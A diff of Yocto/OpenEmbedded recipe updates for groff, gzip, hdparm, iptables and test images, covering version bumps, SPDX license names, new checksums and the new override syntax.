19--- a/font/devpdf/Foundry.in 20--- a/font/devpdf/Foundry.in
20+++ b/font/devpdf/Foundry.in 21+++ b/font/devpdf/Foundry.in
21@@ -65,7 +65,7 @@ ZD|Y||||Dingbats!d050000l.pfb 22@@ -20,7 +20,7 @@
22 #======================================================================
23 23
24 #Foundry|Name|Searchpath 24 #=======================================================================
25-foundry|U|(gs):@urwfontsdir@ :/usr/share/fonts/type1/gsfonts :/opt/local/share/fonts/urw-fonts # the URW fonts delivered with ghostscript (may be different) 25 #Foundry|Name|Search path
26+foundry|U|(gs) # the URW fonts delivered with ghostscript (may be different) 26-foundry||@urwfontsdir@:(gs):/usr/share/fonts/type1/gsfonts:/usr/share/fonts/default/Type1:/usr/share/fonts/default/Type1/adobestd35:/usr/share/fonts/type1/urw-base35:/opt/local/share/fonts/urw-fonts:/usr/local/share/fonts/ghostscript
27 #Define Flags for afmtodit 27+foundry||(gs)
28
29 # Enable the font description files for grops (generated from Adobe
30 # foundry font files) to be used with gropdf. afmtodit must not be
31@@ -72,7 +72,7 @@ EURO|N||||*../devps/freeeuro.pfa
32 # URW fonts are typically shipped with Ghostscript, but can be replaced.
33
34 #Foundry|Name|Search path
35-foundry|U|@urwfontsdir@:/usr/share/fonts/type1/gsfonts:/usr/share/fonts/default/Type1:/usr/share/fonts/default/Type1/adobestd35:/usr/share/fonts/type1/urw-base35:/opt/local/share/fonts/urw-fonts:/usr/local/share/fonts/ghostscript:(gs)
36+foundry|U|(gs)
37
38 # Define flags for afmtodit.
28 39
29 r=-i 0 -m
30--
312.7.4
32
diff --git a/meta/recipes-extended/groff/groff_1.22.4.bb b/meta/recipes-extended/groff/groff_1.23.0.bb
index 983cb9aea6..0fc4f831d8 100644
--- a/meta/recipes-extended/groff/groff_1.22.4.bb
+++ b/meta/recipes-extended/groff/groff_1.23.0.bb
@@ -3,44 +3,39 @@ DESCRIPTION = "The groff (GNU troff) software is a typesetting package which rea
3formatting commands and produces formatted output." 3formatting commands and produces formatted output."
4SECTION = "base" 4SECTION = "base"
5HOMEPAGE = "http://www.gnu.org/software/groff/" 5HOMEPAGE = "http://www.gnu.org/software/groff/"
6LICENSE = "GPLv3" 6LICENSE = "GPL-3.0-only"
7 7
8LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504" 8LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
9 9
10SRC_URI = "${GNU_MIRROR}/groff/groff-${PV}.tar.gz \ 10SRC_URI = "${GNU_MIRROR}/groff/groff-${PV}.tar.gz \
11 file://0001-replace-perl-w-with-use-warnings.patch \ 11 file://groff-not-search-fonts-on-build-host.patch \
12 file://groff-not-search-fonts-on-build-host.patch \ 12 file://0001-Make-manpages-mulitlib-identical.patch \
13 file://0001-support-musl.patch \ 13 file://0001-build-Fix-Savannah-64681-webpage.ps-deps.patch \
14 file://0001-Include-config.h.patch \ 14 file://0001-build-meintro_fr.ps-depends-on-tbl.patch \
15 file://0001-Make-manpages-mulitlib-identical.patch \ 15 "
16"
17 16
18SRC_URI[md5sum] = "08fb04335e2f5e73f23ea4c3adbf0c5f" 17SRC_URI[sha256sum] = "6b9757f592b7518b4902eb6af7e54570bdccba37a871fddb2d30ae3863511c13"
19SRC_URI[sha256sum] = "e78e7b4cb7dec310849004fa88847c44701e8d133b5d4c13057d876c1bad0293"
20 18
21# Remove at the next upgrade 19DEPENDS = "bison-native groff-native"
22PR = "r1" 20RDEPENDS:${PN} += "perl sed"
23
24DEPENDS = "bison-native"
25RDEPENDS_${PN} += "perl sed"
26 21
27inherit autotools-brokensep texinfo multilib_script pkgconfig 22inherit autotools-brokensep texinfo multilib_script pkgconfig
28 23
29MULTILIB_SCRIPTS = "${PN}:${bindir}/gpinyin ${PN}:${bindir}/groffer ${PN}:${bindir}/grog" 24MULTILIB_SCRIPTS = "${PN}:${bindir}/gpinyin ${PN}:${bindir}/grog"
30 25
31EXTRA_OECONF = "--without-x --without-doc" 26EXTRA_OECONF = "--without-x --with-urw-fonts-dir=/completely/bogus/dir/"
32PARALLEL_MAKE = "" 27EXTRA_OEMAKE:class-target = "GROFFBIN=groff GROFF_BIN_PATH=${STAGING_BINDIR_NATIVE}"
33 28
34CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl' ac_cv_path_BASH_PROG='no' PAGE=A4" 29CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl' ac_cv_path_BASH_PROG='no' PAGE=A4"
35 30
36# Delete these generated files since we depend on bison-native 31# Delete these generated files since we depend on bison-native
37# and regenerate them. Do it deterministically (always). 32# and regenerate them. Do it deterministically (always).
38do_configure_prepend() { 33do_configure:prepend() {
39 rm -f ${S}/src/preproc/eqn/eqn.cpp 34 rm -f ${S}/src/preproc/eqn/eqn.cpp
40 rm -f ${S}/src/preproc/eqn/eqn.hpp 35 rm -f ${S}/src/preproc/eqn/eqn.hpp
41} 36}
42 37
43do_install_append() { 38do_install:append() {
44 # Some distros have both /bin/perl and /usr/bin/perl, but we set perl location 39 # Some distros have both /bin/perl and /usr/bin/perl, but we set perl location
45 # for target as /usr/bin/perl, so fix it to /usr/bin/perl. 40 # for target as /usr/bin/perl, so fix it to /usr/bin/perl.
46 for i in afmtodit mmroff gropdf pdfmom grog; do 41 for i in afmtodit mmroff gropdf pdfmom grog; do
@@ -62,15 +57,22 @@ do_install_append() {
62 rm -rf ${D}${bindir}/glilypond 57 rm -rf ${D}${bindir}/glilypond
63 rm -rf ${D}${libdir}/groff/glilypond 58 rm -rf ${D}${libdir}/groff/glilypond
64 rm -rf ${D}${mandir}/man1/glilypond* 59 rm -rf ${D}${mandir}/man1/glilypond*
60
61 # not ship /usr/bin/grap2graph and its releated man files
62 rm -rf ${D}${bindir}/grap2graph
63 rm -rf ${D}${mandir}/man1/grap2graph*
64
65 # strip hosttool path out of generated files
66 sed -i -e 's:${HOSTTOOLS_DIR}/::g' ${D}${docdir}/${BP}/examples/hdtbl/*.roff
65} 67}
66 68
67do_install_append_class-native() { 69do_install:append:class-native() {
68 create_cmdline_wrapper ${D}/${bindir}/groff \ 70 create_cmdline_wrapper ${D}/${bindir}/groff \
69 -F${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/font \ 71 -F${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/font \
70 -M${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/tmac 72 -M${STAGING_DIR_NATIVE}${datadir_native}/groff/${PV}/tmac
71} 73}
72 74
73FILES_${PN} += "${libdir}/${BPN}/site-tmac \ 75FILES:${PN} += "${libdir}/${BPN}/site-tmac \
74 ${libdir}/${BPN}/groffer/" 76 ${libdir}/${BPN}/groffer/"
75 77
76BBCLASSEXTEND = "native" 78BBCLASSEXTEND = "native"
diff --git a/meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch b/meta/recipes-extended/gzip/gzip-1.13/wrong-path-fix.patch
index 7c37bc8d2d..7f9e249de8 100644
--- a/meta/recipes-extended/gzip/gzip-1.10/wrong-path-fix.patch
+++ b/meta/recipes-extended/gzip/gzip-1.13/wrong-path-fix.patch
@@ -18,19 +18,19 @@ Upstream-Status: Pending
18 1 file changed, 1 insertion(+), 2 deletions(-) 18 1 file changed, 1 insertion(+), 2 deletions(-)
19 19
20diff --git a/Makefile.am b/Makefile.am 20diff --git a/Makefile.am b/Makefile.am
21index d4ecc3f..e4657d2 100644 21index 4f51b61..80a5ddf 100644
22--- a/Makefile.am 22--- a/Makefile.am
23+++ b/Makefile.am 23+++ b/Makefile.am
24@@ -82,8 +82,7 @@ SUFFIXES = .in 24@@ -93,8 +93,7 @@ SUFFIXES = .in
25 .in: 25 .in:
26 $(AM_V_GEN)rm -f $@-t $@ \ 26 $(AM_V_GEN)rm -f $@-t $@ \
27 && sed \ 27 && sed \
28- -e 's|/bin/sh|$(SHELL)|g' \ 28- -e 's|/bin/sh|$(SHELL)|g' \
29- -e 's|[@]GREP@|$(GREP)|g' \ 29- -e 's|[@]GREP@|$(GREP)|g' \
30+ -e 's|[@]GREP@|$(base_bindir)/grep|g' \ 30+ -e 's|[@]GREP@|$(base_bindir)/grep|g' \
31 -e 's|[@]VERSION@|$(VERSION)|g' \ 31 -e "s|'gzip'|$(GZIP_TRANSFORMED)|g" \
32 $(srcdir)/$@.in >$@-t \ 32 -e "s|'zdiff'|$(ZDIFF_TRANSFORMED)|g" \
33 && chmod a=rx $@-t \ 33 -e "s|'zgrep'|$(ZGREP_TRANSFORMED)|g" \
34-- 34--
352.7.4 352.7.4
36 36
diff --git a/meta/recipes-extended/gzip/gzip.inc b/meta/recipes-extended/gzip/gzip.inc
index 04f8f95dd5..62b3e2f4f9 100644
--- a/meta/recipes-extended/gzip/gzip.inc
+++ b/meta/recipes-extended/gzip/gzip.inc
@@ -3,15 +3,15 @@ DESCRIPTION = "GNU Gzip is a popular data compression program originally written
3project. Mark Adler wrote the decompression part" 3project. Mark Adler wrote the decompression part"
4HOMEPAGE = "http://www.gnu.org/software/gzip/" 4HOMEPAGE = "http://www.gnu.org/software/gzip/"
5SECTION = "console/utils" 5SECTION = "console/utils"
6# change to GPLv3+ in 2007/07. Previous GPLv2 version is 1.3.12
7 6
8inherit autotools texinfo 7inherit autotools texinfo
9export DEFS="NO_ASM" 8export DEFS="NO_ASM"
10 9
11EXTRA_OEMAKE_class-target = "GREP=${base_bindir}/grep" 10EXTRA_OEMAKE:class-target = "GREP=${base_bindir}/grep"
12EXTRA_OECONF_append_libc-musl = " gl_cv_func_fflush_stdin=yes " 11EXTRA_OEMAKE:append:class-nativesdk = " GREP=grep"
12EXTRA_OECONF:append:libc-musl = " gl_cv_func_fflush_stdin=yes "
13 13
14do_install_append () { 14do_install:append () {
15 if [ "${base_bindir}" != "${bindir}" ]; then 15 if [ "${base_bindir}" != "${bindir}" ]; then
16 # Rename and move files into /bin (FHS), which is typical place for gzip 16 # Rename and move files into /bin (FHS), which is typical place for gzip
17 install -d ${D}${base_bindir} 17 install -d ${D}${base_bindir}
@@ -25,7 +25,7 @@ do_install_append () {
25inherit update-alternatives 25inherit update-alternatives
26 26
27ALTERNATIVE_PRIORITY = "100" 27ALTERNATIVE_PRIORITY = "100"
28ALTERNATIVE_${PN} = "gunzip gzip zcat" 28ALTERNATIVE:${PN} = "gunzip gzip zcat"
29ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip" 29ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
30ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip" 30ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
31ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat" 31ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
diff --git a/meta/recipes-extended/gzip/gzip_1.10.bb b/meta/recipes-extended/gzip/gzip_1.13.bb
index 9778e687e1..fd846b30a5 100644
--- a/meta/recipes-extended/gzip/gzip_1.10.bb
+++ b/meta/recipes-extended/gzip/gzip_1.13.bb
@@ -1,18 +1,20 @@
1require gzip.inc 1require gzip.inc
2 2
3LICENSE = "GPLv3+" 3# change to GPL-3.0-or-later in 2007/07. Previous GPL-2.0-or-later version is
4# 1.3.12
5LICENSE = "GPL-3.0-or-later"
4 6
5SRC_URI = "${GNU_MIRROR}/gzip/${BP}.tar.gz \ 7SRC_URI = "${GNU_MIRROR}/gzip/${BP}.tar.gz \
6 file://run-ptest \ 8 file://run-ptest \
7 " 9 "
8SRC_URI_append_class-target = " file://wrong-path-fix.patch" 10SRC_URI:append:class-target = " file://wrong-path-fix.patch"
9 11
10LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \ 12LIC_FILES_CHKSUM = "file://COPYING;md5=1ebbd3e34237af26da5dc08a4e440464 \
11 file://gzip.h;beginline=8;endline=20;md5=6e47caaa630e0c8bf9f1bc8d94a8ed0e" 13 file://gzip.h;beginline=8;endline=20;md5=6e47caaa630e0c8bf9f1bc8d94a8ed0e"
12 14
13PROVIDES_append_class-native = " gzip-replacement-native" 15PROVIDES:append:class-native = " gzip-replacement-native"
14 16
15RDEPENDS_${PN}-ptest += "make perl grep diffutils" 17RDEPENDS:${PN}-ptest += "make perl grep diffutils"
16 18
17BBCLASSEXTEND = "native nativesdk" 19BBCLASSEXTEND = "native nativesdk"
18 20
@@ -36,5 +38,4 @@ do_install_ptest() {
36 ${B}/tests/Makefile > ${D}${PTEST_PATH}/src/tests/Makefile 38 ${B}/tests/Makefile > ${D}${PTEST_PATH}/src/tests/Makefile
37} 39}
38 40
39SRC_URI[md5sum] = "cf9ee51aff167ff69844d5d7d71c8b20" 41SRC_URI[sha256sum] = "20fc818aeebae87cdbf209d35141ad9d3cf312b35a5e6be61bfcfbf9eddd212a"
40SRC_URI[sha256sum] = "c91f74430bf7bc20402e1f657d0b252cb80aa66ba333a25704512af346633c68"
diff --git a/meta/recipes-extended/hdparm/hdparm_9.60.bb b/meta/recipes-extended/hdparm/hdparm_9.65.bb
index 41f70b403f..d5e6ab6065 100644
--- a/meta/recipes-extended/hdparm/hdparm_9.60.bb
+++ b/meta/recipes-extended/hdparm/hdparm_9.65.bb
@@ -4,10 +4,11 @@ DESCRIPTION = "hdparm is a Linux shell utility for viewing \
4and manipulating various IDE drive and driver parameters." 4and manipulating various IDE drive and driver parameters."
5SECTION = "console/utils" 5SECTION = "console/utils"
6 6
7LICENSE = "BSD & GPLv2" 7LICENSE = "BSD-2-Clause & GPL-2.0-only & hdparm"
8LICENSE_${PN} = "BSD" 8LICENSE:${PN} = "BSD-2-Clause & hdparm"
9LICENSE_${PN}-dbg = "BSD" 9LICENSE:${PN}-dbg = "BSD-2-Clause & hdparm"
10LICENSE_wiper = "GPLv2" 10LICENSE:wiper = "GPL-2.0-only"
11NO_GENERIC_LICENSE[hdparm] = "LICENSE.TXT"
11 12
12LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=495d03e50dc6c89d6a30107ab0df5b03 \ 13LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=495d03e50dc6c89d6a30107ab0df5b03 \
13 file://debian/copyright;md5=a82d7ba3ade9e8ec902749db98c592f3 \ 14 file://debian/copyright;md5=a82d7ba3ade9e8ec902749db98c592f3 \
@@ -17,22 +18,21 @@ LIC_FILES_CHKSUM = "file://LICENSE.TXT;md5=495d03e50dc6c89d6a30107ab0df5b03 \
17 18
18PACKAGES =+ "wiper" 19PACKAGES =+ "wiper"
19 20
20FILES_wiper = "${bindir}/wiper.sh" 21FILES:wiper = "${bindir}/wiper.sh"
21 22
22RDEPENDS_wiper = "bash gawk coreutils" 23RDEPENDS:wiper = "bash gawk coreutils"
23 24
24SRC_URI = "${SOURCEFORGE_MIRROR}/hdparm/${BP}.tar.gz \ 25SRC_URI = "${SOURCEFORGE_MIRROR}/hdparm/${BP}.tar.gz \
25 file://wiper.sh-fix-stat-path.patch \ 26 file://wiper.sh-fix-stat-path.patch \
26 " 27 "
27 28
28SRC_URI[md5sum] = "25a791d47236c58801f8b27074f3ef93" 29SRC_URI[sha256sum] = "d14929f910d060932e717e9382425d47c2e7144235a53713d55a94f7de535a4b"
29SRC_URI[sha256sum] = "8397739c73e44d5ab96c4aef28fa9c0147276d53a1b5657ce04c4565cf6635cc"
30 30
31EXTRA_OEMAKE = 'STRIP="echo" LDFLAGS="${LDFLAGS}"' 31EXTRA_OEMAKE = 'STRIP="echo" LDFLAGS="${LDFLAGS}"'
32 32
33inherit update-alternatives 33inherit update-alternatives
34 34
35ALTERNATIVE_${PN} = "hdparm" 35ALTERNATIVE:${PN} = "hdparm"
36ALTERNATIVE_LINK_NAME[hdparm] = "${base_sbindir}/hdparm" 36ALTERNATIVE_LINK_NAME[hdparm] = "${base_sbindir}/hdparm"
37ALTERNATIVE_PRIORITY = "100" 37ALTERNATIVE_PRIORITY = "100"
38 38
diff --git a/meta/recipes-extended/images/core-image-full-cmdline.bb b/meta/recipes-extended/images/core-image-full-cmdline.bb
index 4d69073d9d..b034cd0aeb 100644
--- a/meta/recipes-extended/images/core-image-full-cmdline.bb
+++ b/meta/recipes-extended/images/core-image-full-cmdline.bb
@@ -1,7 +1,7 @@
1DESCRIPTION = "A console-only image with more full-featured Linux system \ 1SUMMARY = "A console-only image with more full-featured Linux system \
2functionality installed." 2functionality installed."
3 3
4IMAGE_FEATURES += "splash ssh-server-openssh" 4IMAGE_FEATURES += "splash ssh-server-openssh package-management"
5 5
6IMAGE_INSTALL = "\ 6IMAGE_INSTALL = "\
7 packagegroup-core-boot \ 7 packagegroup-core-boot \
diff --git a/meta/recipes-extended/images/core-image-kernel-dev.bb b/meta/recipes-extended/images/core-image-kernel-dev.bb
index 4d16da1ea8..4018af7a3a 100644
--- a/meta/recipes-extended/images/core-image-kernel-dev.bb
+++ b/meta/recipes-extended/images/core-image-kernel-dev.bb
@@ -15,7 +15,7 @@ CORE_IMAGE_EXTRA_INSTALL += "${KERNEL_DEV_MODULE} \
15 " 15 "
16 16
17# We need extra space for things like kernel builds, etc. 17# We need extra space for things like kernel builds, etc.
18IMAGE_ROOTFS_EXTRA_SPACE_append = " + 3000000" 18IMAGE_ROOTFS_EXTRA_SPACE:append = " + 3000000"
19 19
20# Let's define our own subset to test, we can later add a on-target kernel build even! 20# Let's define our own subset to test, we can later add a on-target kernel build even!
21DEFAULT_TEST_SUITES = "ping ssh df connman syslog scp date parselogs" 21DEFAULT_TEST_SUITES = "ping ssh df connman syslog scp date parselogs"
diff --git a/meta/recipes-extended/images/core-image-testmaster-initramfs.bb b/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb
index 1a2e0af27b..3b81afd7c0 100644
--- a/meta/recipes-extended/images/core-image-testmaster-initramfs.bb
+++ b/meta/recipes-extended/images/core-image-testcontroller-initramfs.bb
@@ -1,4 +1,4 @@
1DESCRIPTION = "Small image capable of booting a device with custom install scripts, \ 1SUMMARY = "Small image capable of booting a device with custom install scripts, \
2adding a second rootfs, used for testing." 2adding a second rootfs, used for testing."
3 3
4# use -testfs live-install scripts 4# use -testfs live-install scripts
@@ -7,7 +7,6 @@ PACKAGE_INSTALL = "initramfs-live-boot initramfs-live-install-testfs initramfs-l
7# Do not pollute the initrd image with rootfs features 7# Do not pollute the initrd image with rootfs features
8IMAGE_FEATURES = "" 8IMAGE_FEATURES = ""
9 9
10export IMAGE_BASENAME = "core-image-testmaster-initramfs"
11IMAGE_NAME_SUFFIX ?= "" 10IMAGE_NAME_SUFFIX ?= ""
12IMAGE_LINGUAS = "" 11IMAGE_LINGUAS = ""
13 12
diff --git a/meta/recipes-extended/images/core-image-testmaster.bb b/meta/recipes-extended/images/core-image-testcontroller.bb
index 0faf18f5a4..ff79bde0c5 100644
--- a/meta/recipes-extended/images/core-image-testmaster.bb
+++ b/meta/recipes-extended/images/core-image-testcontroller.bb
@@ -1,4 +1,4 @@
1DESCRIPTION = "A master image to be deployed on a target useful for testing other images" 1SUMMARY = "A test controller image to be deployed on a target useful for testing other images using the OEQA runtime tests"
2 2
3IMAGE_FEATURES += "ssh-server-openssh package-management" 3IMAGE_FEATURES += "ssh-server-openssh package-management"
4 4
@@ -14,5 +14,5 @@ IMAGE_INSTALL += "\
14# we need a particular initramfs for live images 14# we need a particular initramfs for live images
15# that pulls custom install scripts which take 15# that pulls custom install scripts which take
16# care of partitioning for us 16# care of partitioning for us
17INITRD_IMAGE = "core-image-testmaster-initramfs" 17INITRD_IMAGE = "core-image-testcontroller-initramfs"
18 18
diff --git a/meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch b/meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch
index 03c36ccbc2..8824bf2af7 100644
--- a/meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch
+++ b/meta/recipes-extended/iptables/iptables/0001-configure-Add-option-to-enable-disable-libnfnetlink.patch
@@ -1,4 +1,4 @@
1From c46db7c2e1f63ec525835553587e70c635565310 Mon Sep 17 00:00:00 2001 1From 0096c854d5015918ed154dccb3ad472fd06c1010 Mon Sep 17 00:00:00 2001
2From: "Maxin B. John" <maxin.john@intel.com> 2From: "Maxin B. John" <maxin.john@intel.com>
3Date: Tue, 21 Feb 2017 11:16:31 +0200 3Date: Tue, 21 Feb 2017 11:16:31 +0200
4Subject: [PATCH] configure: Add option to enable/disable libnfnetlink 4Subject: [PATCH] configure: Add option to enable/disable libnfnetlink
@@ -10,12 +10,13 @@ Upstream-Status: Pending
10 10
11Signed-off-by: Khem Raj <raj.khem@gmail.com> 11Signed-off-by: Khem Raj <raj.khem@gmail.com>
12Signed-off-by: Maxin B. John <maxin.john@intel.com> 12Signed-off-by: Maxin B. John <maxin.john@intel.com>
13
13--- 14---
14 configure.ac | 10 +++++++--- 15 configure.ac | 10 +++++++---
15 1 file changed, 7 insertions(+), 3 deletions(-) 16 1 file changed, 7 insertions(+), 3 deletions(-)
16 17
17diff --git a/configure.ac b/configure.ac 18diff --git a/configure.ac b/configure.ac
18index eda7871..03ddc50 100644 19index d99fa3b..d607772 100644
19--- a/configure.ac 20--- a/configure.ac
20+++ b/configure.ac 21+++ b/configure.ac
21@@ -63,6 +63,9 @@ AC_ARG_WITH([pkgconfigdir], AS_HELP_STRING([--with-pkgconfigdir=PATH], 22@@ -63,6 +63,9 @@ AC_ARG_WITH([pkgconfigdir], AS_HELP_STRING([--with-pkgconfigdir=PATH],
@@ -28,9 +29,9 @@ index eda7871..03ddc50 100644
28 AC_ARG_ENABLE([connlabel], 29 AC_ARG_ENABLE([connlabel],
29 AS_HELP_STRING([--disable-connlabel], 30 AS_HELP_STRING([--disable-connlabel],
30 [Do not build libnetfilter_conntrack]), 31 [Do not build libnetfilter_conntrack]),
31@@ -115,9 +118,10 @@ if test "x$enable_bpfc" = "xyes" || test "x$enable_nfsynproxy" = "xyes"; then 32@@ -113,9 +116,10 @@ AM_CONDITIONAL([ENABLE_SYNCONF], [test "$enable_nfsynproxy" = "yes"])
32 AC_CHECK_LIB(pcap, pcap_compile,, AC_MSG_ERROR(missing libpcap library required by bpf compiler or nfsynproxy tool)) 33 AM_CONDITIONAL([ENABLE_NFTABLES], [test "$enable_nftables" = "yes"])
33 fi 34 AM_CONDITIONAL([ENABLE_CONNLABEL], [test "$enable_connlabel" = "yes"])
34 35
35-PKG_CHECK_MODULES([libnfnetlink], [libnfnetlink >= 1.0], 36-PKG_CHECK_MODULES([libnfnetlink], [libnfnetlink >= 1.0],
36- [nfnetlink=1], [nfnetlink=0]) 37- [nfnetlink=1], [nfnetlink=0])
@@ -40,8 +41,5 @@ index eda7871..03ddc50 100644
40+ ]) 41+ ])
41+AM_CONDITIONAL([HAVE_LIBNFNETLINK], [test "x$enable_libnfnetlink" = "xyes"]) 42+AM_CONDITIONAL([HAVE_LIBNFNETLINK], [test "x$enable_libnfnetlink" = "xyes"])
42 43
43 if test "x$enable_nftables" = "xyes"; then 44 if test "x$enable_bpfc" = "xyes" || test "x$enable_nfsynproxy" = "xyes"; then
44 PKG_CHECK_MODULES([libmnl], [libmnl >= 1.0], [mnl=1], [mnl=0]) 45 PKG_CHECK_MODULES([libpcap], [libpcap], [], [
45--
462.4.0
47
diff --git a/meta/recipes-extended/iptables/iptables/0002-iptables-xshared.h-add-missing-sys.types.h-include.patch b/meta/recipes-extended/iptables/iptables/0002-iptables-xshared.h-add-missing-sys.types.h-include.patch
new file mode 100644
index 0000000000..a190c7e8ae
--- /dev/null
+++ b/meta/recipes-extended/iptables/iptables/0002-iptables-xshared.h-add-missing-sys.types.h-include.patch
@@ -0,0 +1,31 @@
1From 465e3ef77f1763d225adc76220e43ee9bd73b178 Mon Sep 17 00:00:00 2001
2From: Alexander Kanavin <alex@linutronix.de>
3Date: Tue, 17 May 2022 10:56:59 +0200
4Subject: [PATCH] iptables/xshared.h: add missing sys.types.h include
5
6This resolves the build error under musl:
7
8| ../../../../../../../workspace/sources/iptables/iptables/xshared.h:83:56: error: unknown type name 'u_int16_t'; did you mean 'uint16_t'?
9| 83 | set_option(unsigned int *options, unsigned int option, u_int16_t *invflg,
10| | ^~~~~~~~~
11| | uint16_t
12
13Upstream-Status: Submitted [via email to phil@nwl.cc]
14Signed-off-by: Alexander Kanavin <alex@linutronix.de>
15
16---
17 iptables/xshared.h | 1 +
18 1 file changed, 1 insertion(+)
19
20diff --git a/iptables/xshared.h b/iptables/xshared.h
21index a200e0d..f543dbf 100644
22--- a/iptables/xshared.h
23+++ b/iptables/xshared.h
24@@ -6,6 +6,7 @@
25 #include <stdint.h>
26 #include <netinet/in.h>
27 #include <net/if.h>
28+#include <sys/types.h>
29 #include <linux/netfilter_arp/arp_tables.h>
30 #include <linux/netfilter_ipv4/ip_tables.h>
31 #include <linux/netfilter_ipv6/ip6_tables.h>
diff --git a/meta/recipes-extended/iptables/iptables/0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch b/meta/recipes-extended/iptables/iptables/0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch
index 7842c6408a..5a022ebc8c 100644
--- a/meta/recipes-extended/iptables/iptables/0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch
+++ b/meta/recipes-extended/iptables/iptables/0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch
@@ -1,4 +1,4 @@
1From 26090b3dbcdf6a11e60535da949b726a6e86426d Mon Sep 17 00:00:00 2001 1From 6832501bbb90a3dab977a4625d0391804c0e795c Mon Sep 17 00:00:00 2001
2From: "Maxin B. John" <maxin.john@intel.com> 2From: "Maxin B. John" <maxin.john@intel.com>
3Date: Tue, 21 Feb 2017 11:49:07 +0200 3Date: Tue, 21 Feb 2017 11:49:07 +0200
4Subject: [PATCH] configure.ac: 4Subject: [PATCH] configure.ac:
@@ -23,15 +23,16 @@ Upstream-Status: Pending
23 23
24Signed-off-by: Kai Kang <kai.kang@windriver.com> 24Signed-off-by: Kai Kang <kai.kang@windriver.com>
25Signed-off-by: Maxin B. John <maxin.john@intel.com> 25Signed-off-by: Maxin B. John <maxin.john@intel.com>
26
26--- 27---
27 configure.ac | 6 ++++-- 28 configure.ac | 6 ++++--
28 1 file changed, 4 insertions(+), 2 deletions(-) 29 1 file changed, 4 insertions(+), 2 deletions(-)
29 30
30diff --git a/configure.ac b/configure.ac 31diff --git a/configure.ac b/configure.ac
31index 03ddc50..523caea 100644 32index d607772..25a8e75 100644
32--- a/configure.ac 33--- a/configure.ac
33+++ b/configure.ac 34+++ b/configure.ac
34@@ -172,10 +172,12 @@ if test "$nftables" != 1; then 35@@ -159,10 +159,12 @@ if test "$nftables" != 1; then
35 fi 36 fi
36 37
37 if test "x$enable_connlabel" = "xyes"; then 38 if test "x$enable_connlabel" = "xyes"; then
@@ -46,6 +47,3 @@ index 03ddc50..523caea 100644
46 if test "$nfconntrack" -ne 1; then 47 if test "$nfconntrack" -ne 1; then
47 blacklist_modules="$blacklist_modules connlabel"; 48 blacklist_modules="$blacklist_modules connlabel";
48 echo "WARNING: libnetfilter_conntrack not found, connlabel match will not be built"; 49 echo "WARNING: libnetfilter_conntrack not found, connlabel match will not be built";
49--
502.4.0
51
diff --git a/meta/recipes-extended/iptables/iptables_1.8.7.bb b/meta/recipes-extended/iptables/iptables_1.8.10.bb
index 621f87ff87..cd2f3bce0b 100644
--- a/meta/recipes-extended/iptables/iptables_1.8.7.bb
+++ b/meta/recipes-extended/iptables/iptables_1.8.10.bb
@@ -3,22 +3,23 @@ DESCRIPTION = "iptables is the userspace command line program used to configure
3filtering code in Linux." 3filtering code in Linux."
4HOMEPAGE = "http://www.netfilter.org/" 4HOMEPAGE = "http://www.netfilter.org/"
5BUGTRACKER = "http://bugzilla.netfilter.org/" 5BUGTRACKER = "http://bugzilla.netfilter.org/"
6LICENSE = "GPLv2+" 6LICENSE = "GPL-2.0-or-later"
7LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \ 7LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
8 file://iptables/iptables.c;beginline=13;endline=25;md5=c5cffd09974558cf27d0f763df2a12dc \ 8 file://iptables/iptables.c;beginline=13;endline=25;md5=c5cffd09974558cf27d0f763df2a12dc \
9" 9"
10 10
11SRC_URI = "http://netfilter.org/projects/iptables/files/iptables-${PV}.tar.bz2 \ 11SRC_URI = "http://netfilter.org/projects/iptables/files/iptables-${PV}.tar.xz \
12 file://0001-configure-Add-option-to-enable-disable-libnfnetlink.patch \
13 file://0002-configure.ac-only-check-conntrack-when-libnfnetlink-enabled.patch \
14 file://iptables.service \ 12 file://iptables.service \
15 file://iptables.rules \ 13 file://iptables.rules \
16 file://ip6tables.service \ 14 file://ip6tables.service \
17 file://ip6tables.rules \ 15 file://ip6tables.rules \
16 file://0001-configure-Add-option-to-enable-disable-libnfnetlink.patch \
17 file://0002-iptables-xshared.h-add-missing-sys.types.h-include.patch \
18 file://0004-configure.ac-only-check-conntrack-when-libnfnetlink-.patch \
18 " 19 "
19SRC_URI[sha256sum] = "c109c96bb04998cd44156622d36f8e04b140701ec60531a10668cfdff5e8d8f0" 20SRC_URI[sha256sum] = "5cc255c189356e317d070755ce9371eb63a1b783c34498fb8c30264f3cc59c9c"
20 21
21SYSTEMD_SERVICE_${PN} = "\ 22SYSTEMD_SERVICE:${PN} = "\
22 iptables.service \ 23 iptables.service \
23 ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'ip6tables.service', '', d)} \ 24 ${@bb.utils.contains('PACKAGECONFIG', 'ipv6', 'ip6tables.service', '', d)} \
